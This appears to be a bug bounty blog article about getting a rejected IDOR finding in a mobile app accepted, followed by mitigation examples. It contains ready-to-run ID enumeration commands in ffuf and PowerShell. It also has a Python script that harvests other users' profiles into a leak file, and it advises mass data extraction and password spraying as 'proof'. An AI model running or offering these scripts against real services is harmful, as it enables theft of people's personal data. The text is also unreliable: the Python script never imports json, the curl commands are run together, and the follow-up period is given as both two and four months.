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Introduction:
Insecure Direct Object References (IDOR) remain one of the most common yet frequently mishandled web and mobile application vulnerabilities. Even when a report is initially closed as “informational” or a “false positive,” attackers and ethical hackers know that a single misconfigured access control can expose millions of user records. This article dissects a real-world case where an IDOR in a mobile app on HackerOne was rejected twice—only to be validated as a Medium severity after persistent retesting and a video proof-of-concept (PoC). You will learn the exact technical steps to reproduce, strengthen, and resubmit IDOR findings, including command-line techniques for both Linux and Windows, API testing workflows, and mobile traffic interception.
Learning Objectives:
- Understand how to retest IDOR vulnerabilities on the latest mobile app builds using proxy tools and API analysis.
- Learn to craft a compelling video PoC that forces triagers to reproduce the issue.
- Master Linux/Windows commands for automating parameter enumeration and proving access control bypasses.
You Should Know:
- Retesting IDOR on Mobile Apps: Intercepting Traffic and Replaying Requests
After an initial rejection claiming the issue only affected an old build, the hunter retested on the latest version. This requires intercepting HTTPS traffic from the mobile app, identifying object references (user IDs, document IDs, transaction tokens), and replaying them with modified values.
Step‑by‑step guide for retesting IDOR (works on both Android and iOS):
Step 1: Set up a proxy (Burp Suite or OWASP ZAP) on your machine.
– Linux: Install Burp Suite via `sudo apt install burpsuite` (or download from PortSwigger).
– Windows: Download the installer from PortSwigger and run it.
– Configure the mobile device to route traffic through the proxy (set manual proxy to your PC’s IP and port 8080). Install Burp’s CA certificate on the device to intercept HTTPS.
Step 2: Install the latest version of the target mobile app.
– On Android: `adb install target_app_latest.apk` (ensure ADB is installed – `sudo apt install adb` on Linux, or download Platform Tools on Windows).
– On iOS: Use a jailbroken device or a proxy like Charles Proxy with SSL pinning bypass (e.g., using Frida).
Step 3: Trigger the vulnerable endpoint while capturing requests.
Navigate to a feature that displays user‑specific data (e.g., profile, order history, documents). In Burp, look for parameters like user_id=123, document_id=abc, or a JWT token containing an object reference.
Step 4: Replay the request with a different object reference.
Use Burp Repeater (right-click request → Send to Repeater). Change the ID to another valid value (e.g., user_id=124). Send the request. If you receive another user’s data, the IDOR is confirmed.
Linux command for automated parameter fuzzing (using ffuf):
ffuf -u 'https://api.target.com/v1/user/profile?user_id=FUZZ' -w /usr/share/wordlists/ids.txt -H 'Authorization: Bearer YOUR_TOKEN' -fc 403,404
Windows PowerShell alternative (using Invoke-WebRequest):
$ids = 1..1000
foreach ($id in $ids) {
$response = Invoke-WebRequest -Uri "https://api.target.com/v1/user/profile?user_id=$id" -Headers @{Authorization="Bearer YOUR_TOKEN"}
if ($response.StatusCode -eq 200) { Write-Host "IDOR possible for $id" }
}
Step 5: Record a video PoC.
On Android: Use `adb shell screenrecord /sdcard/poc.mp4` and stop with Ctrl+C. Pull the video: adb pull /sdcard/poc.mp4. On Windows/Mac, use built-in screen recorders (Windows Game Bar or QuickTime). Show the entire process: opening the app, capturing the request, modifying the ID, and displaying the unauthorized data. Narrate or add text overlays to highlight the object reference change.
- Escalating an Informational IDOR to Medium: Proving Business Impact
Many programs initially label IDOR as “informational” if they think the exposure is limited or the object reference is not guessable. To push for a Medium (or higher) severity, you must demonstrate actual harm—such as accessing sensitive personal information, modifying another user’s data, or bypassing rate limits.
Step‑by‑step guide for escalation:
Step 1: Enumerate valid object references.
If the IDOR uses sequential integers (e.g., user_id=1001), brute‑force a range. If it uses UUIDs or hashed values, look for leaks elsewhere (e.g., in comments, file metadata, or another endpoint that returns a list of IDs).
Linux command to extract UUIDs from API responses:
curl -s 'https://api.target.com/v1/documents?limit=100' -H 'Authorization: Bearer YOUR_TOKEN' | jq '.documents[].document_id'
Step 2: Chain the IDOR with another weakness.
For example, an IDOR that allows reading another user’s password reset token – then use that token to take over the account. Or an IDOR that exposes email addresses – then use those emails to search for other vulnerabilities (e.g., password spraying).
Step 3: Automate a proof of mass exposure.
Write a script that extracts sensitive data from hundreds of users. Then present the output as evidence. This changes the risk from “single user info leak” to “massive data breach.”
Python script (Linux/Windows) to automate IDOR exploitation:
import requests
headers = {"Authorization": "Bearer YOUR_TOKEN"}
base_url = "https://api.target.com/v1/user/profile?user_id="
sensitive_data = []
for uid in range(1000, 1100):
resp = requests.get(base_url + str(uid), headers=headers)
if resp.status_code == 200 and "email" in resp.text:
sensitive_data.append(resp.json())
print(f"Collected data for user {uid}")
with open("idor_leak.json", "w") as f:
json.dump(sensitive_data, f)
print(f"Exposed {len(sensitive_data)} user records.")
Step 4: Write a resubmission message that forces action.
Include:
- The latest build version tested.
- A clear reproduction path with timestamps.
- A link to the video PoC (upload to YouTube as unlisted or attach directly).
- A risk assessment: “This allows an attacker to enumerate all users’ personal data (PII) via a simple IDOR, impacting confidentiality. With 10,000+ users, the potential breach size is critical.”
Step 5: Follow up every 2 weeks with additional evidence.
If they still close as false positive, ask for a live demo or offer to walk a triager through the steps. In the real case, after 2 months of follow‑ups and a detailed video on the latest build, the team finally reproduced and validated it as Medium.
3. Hardening Against IDOR: Mitigation Commands for DevOps
Understanding how to exploit IDOR is only half the skill; knowing how to fix it is what separates experts. Below are verified configurations and commands to prevent IDOR at the API gateway, application layer, and database level.
API Gateway rule (AWS WAF / CloudFront) to block sequential ID enumeration:
{
"Name": "BlockSequentialIDAccess",
"Priority": 1,
"Statement": {
"RateBasedStatement": {
"Limit": 10,
"AggregateKeyType": "IP",
"ScopeDownStatement": {
"RegexPatternSetReferenceStatement": {
"ARN": "arn:aws:wafv2:.../regexpattern/sequentialIDs",
"FieldToMatch": { "UriPath": {} }
}
}
}
}
}
Linux command to test if IDOR protection is active (using `curl` with different cookies):
Extract session cookie from first login curl -c cookies1.txt -X POST https://target.com/login -d 'user=alice&pass=pass' Access Alice's document curl -b cookies1.txt 'https://target.com/doc/123' Now switch to Bob's cookie (if you have it) and try to access same doc curl -b cookies2.txt 'https://target.com/doc/123' Should return 403
Windows PowerShell command to test access control headers:
$headers = @{Authorization="Bearer $alice_token"}
$response = Invoke-WebRequest -Uri "https://target.com/api/resource/456" -Headers $headers
if ($response.Headers['X-Content-Type-Options'] -ne 'nosniff') {
Write-Warning "Missing security headers, IDOR may be easier to hide"
}
Application‑level fix (Node.js/Express example with middleware):
app.use('/api/user/:userId', (req, res, next) => {
if (req.user.id !== req.params.userId && !req.user.isAdmin) {
return res.status(403).json({ error: 'Access denied' });
}
next();
});
Database‑level enforcement (PostgreSQL Row Level Security):
ALTER TABLE documents ENABLE ROW LEVEL SECURITY;
CREATE POLICY user_documents ON documents
USING (owner_id = current_setting('app.current_user_id')::int);
What Undercode Say:
- Persistence and methodical retesting are more valuable than dropping a bug after the first rejection. The hunter’s four‑month follow‑up cycle turned a zero into a validated Medium.
- Video PoCs are non‑negotiable for mobile app bug bounties – they eliminate “cannot reproduce” excuses and prove the latest build is affected.
- IDOR severity is often about impact demonstration, not just existence. Chaining IDOR with enumeration scripts to show mass data exposure forces triagers to reclassify.
Prediction:
As AI‑assisted code generation becomes mainstream, IDOR vulnerabilities will initially surge due to developers copying insecure access control patterns from training data. However, automated static analysis tools will evolve to detect object reference leaks in CI/CD pipelines. Within two years, bug bounty programs will require automated IDOR test suites as part of their pre‑launch checklist, and manual hunters will shift focus to logic flaws and race conditions where AI still struggles. The hunter who masters persistent retesting and video PoC creation will remain indispensable.
▶️ Related Video (66% Match):
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IT/Security Reporter URL:
Reported By: Akshay Krishna – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
